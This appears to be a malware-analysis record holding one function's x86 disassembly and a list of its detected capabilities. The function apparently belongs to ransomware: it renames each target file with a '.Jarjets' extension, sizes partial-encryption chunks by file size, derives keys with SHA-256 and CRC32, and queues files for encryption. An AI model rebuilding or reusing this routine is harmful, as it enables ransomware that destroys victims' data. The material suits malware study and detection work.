Function at 0x405e10
Capabilities:
Encode data using xor
Get file size
Hash data using sha256
Inspect section memory permissions
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
mov esi, ecx
call fcn.00405d30
test al, al
je 0x40630a
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x80]
push edi
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x405e70
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x405e50
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str..Jarjets
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x405eac
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.Unable_To_Rename_File:__s____lu
call fcn.00404c20
add esp, 0xc
jmp 0x4062ee
push 0
push 0x48000000
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor edi, edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4062f0
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4062e4
mov ecx, dword [ebp - 0x18]
mov eax, ecx
mov edx, dword [ebp - 0x14]
or eax, edx
mov dword [ebp - 4], ecx
je 0x4062e4
test edx, edx
jl 0x405f0f
jg 0x405f07
cmp ecx, 0x100000
jb 0x405f0f
mov ecx, 0x100000
mov dword [ebp - 4], ecx
add ecx, 0x100
call fcn.00407190
mov edi, eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], edi
mov dword [edi + 0xf8], eax
mov eax, dword [ebp - 8]
mov dword [edi + 0x9c], eax
mov eax, dword [0x4291a8]
cmp eax, 4
ja case.default.0x405f3f
jmp dword [eax*4 + 0x406314]
mov dword [edi + 0xb0], 1
jmp case.default.0x405f3f
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je case.0x405f3f.2
add eax, 2
xor esi, esi
mov dword [ebp - 4], eax
nop word [eax + eax]
push dword [esi + 0x422a10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x405f9e
mov eax, dword [ebp - 4]
add esi, 4
cmp esi, 0x2d8
jb 0x405f70
mov dword [edi + 0xb0], 2
jmp case.default.0x405f3f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
test ecx, ecx
jg 0x405fe6
jl case.0x405f3f.1
cmp eax, 0x1000000
ja 0x405fc0
mov dword [edi + 0xb0], 1
jmp case.default.0x405f3f
test ecx, ecx
jg 0x405fe6
jl 0x405fcd
cmp eax, 0x20000000
ja 0x405fe6
mov dword [edi + 0xa8], 0x40000
mov dword [edi + 0xac], 0
jmp 0x4060b5
cmp ecx, 2
jg 0x40600a
jl 0x405ff1
test eax, eax
jne 0x40600a
mov dword [edi + 0xa8], 0x400000
mov dword [edi + 0xac], 0
jmp 0x4060b5
cmp ecx, 0x20
jg 0x40602e
jl 0x406015
test eax, eax
jne 0x40602e
mov dword [edi + 0xa8], 0x4000000
mov dword [edi + 0xac], 0
jmp 0x4060b5
cmp ecx, 0x200
jg 0x406052
jl 0x40603c
test eax, eax
jne 0x406052
mov dword [edi + 0xa8], 0x40000000
mov dword [edi + 0xac], 0
jmp 0x4060b5
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 4
jmp 0x4060b5
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je case.0x405f3f.3
add eax, 2
xor esi, esi
mov dword [ebp - 4], eax
nop dword [eax]
push dword [esi + 0x422a10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je case.0x405f3f.1
mov eax, dword [ebp - 4]
add esi, 4
cmp esi, 0x2d8
jb 0x406080
mov eax, dword [0x428784]
cdq
mov dword [edi + 0xac], edx
mov dword [edi + 0xa8], eax
mov dword [edi + 0xb0], 3
mov edx, 0x20
lea ecx, [ebp - 0x58]
call fcn.004054b0
mov edx, 8
lea ecx, [edi + 0xe8]
call fcn.004054b0
lea ecx, [edi + 0xc8]
push 0x425e1c
lea edx, [ebp - 0x58]
mov dword [ebp - 4], ecx
call fcn.00404a90
add esp, 4
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x38]
push 0x4229ec
call fcn.00404a90
add esp, 4
mov dword [ebp - 0xc0], 0x6a09e667
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0xbb67ae85
lea edx, [ebp - 0x38]
movlpd qword [ebp - 0xc8], xmm0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xb8], 0x3c6ef372
push 0x20
mov dword [ebp - 0xb4], 0xa54ff53a
mov dword [ebp - 0xb0], 0x510e527f
mov dword [ebp - 0xac], 0x9b05688c
mov dword [ebp - 0xa8], 0x1f83d9ab
mov dword [ebp - 0xa4], 0x5be0cd19
mov dword [ebp - 0xa0], 0
call fcn.004074c0
add esp, 4
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0xc8]
call fcn.00407540
push 0x70
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.004084c0
add esp, 0xc
lea eax, [edi + 0x18]
lea edx, [edi + 0xe8]
lea ecx, [ebp - 0x38]
push eax
call fcn.00401290
mov eax, dword [edi + 0xb0]
lea esi, [ebp - 0x38]
mov dword [edi + 0xb8], eax
add esp, 4
mov eax, dword [edi + 0xa8]
or edx, 0xffffffff
mov dword [edi + 0xc0], eax
mov eax, dword [edi + 0xac]
mov dword [edi + 0xc4], eax
mov edi, 0x20
movzx eax, byte [esi]
lea esi, [esi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
movzx eax, cl
xor edx, dword [eax*4 + 0x41ea78]
sub edi, 1
jne 0x4061e5
mov edi, dword [ebp - 0xc]
or esi, 0xffffffff
mov dword [edi + 0xf0], edx
mov edx, 0x20
mov edi, dword [ebp - 4]
movzx eax, byte [edi]
lea edi, [edi + 1]
mov ecx, esi
shl esi, 8
shr ecx, 0x18
xor ecx, eax
movzx eax, cl
xor esi, dword [eax*4 + 0x41ea78]
sub edx, 1
jne 0x406218
mov edi, dword [ebp - 0xc]
push 0x10
lea edx, [edi + 0xb8]
mov dword [edi + 0xf4], esi
push edx
lea ecx, [edi + 0x18]
call fcn.00401730
add esp, 8
lea eax, [ebp - 0x58]
mov ecx, 0x20
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406260
mov ecx, 0x20
lea eax, [ebp - 0x38]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406273
mov esi, dword [ebp - 8]
push ecx
push ecx
push dword [0x42b228]
push esi
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x4062b7
push edi
push 0
push 0
push dword [0x42b228]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x4062b7
lock inc dword [0x42b21c]
mov edi, 1
jmp 0x4062f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
push dword [0x42b230]
call esi
push ebx
xor edi, edi
push edi
push dword [0x42b230]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push 0
push dword [0x42b230]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret